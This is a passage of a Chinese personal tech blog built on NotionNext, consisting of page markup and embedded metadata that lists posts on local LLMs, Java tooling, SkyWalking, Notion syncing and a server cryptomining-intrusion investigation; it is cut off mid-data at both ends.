class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"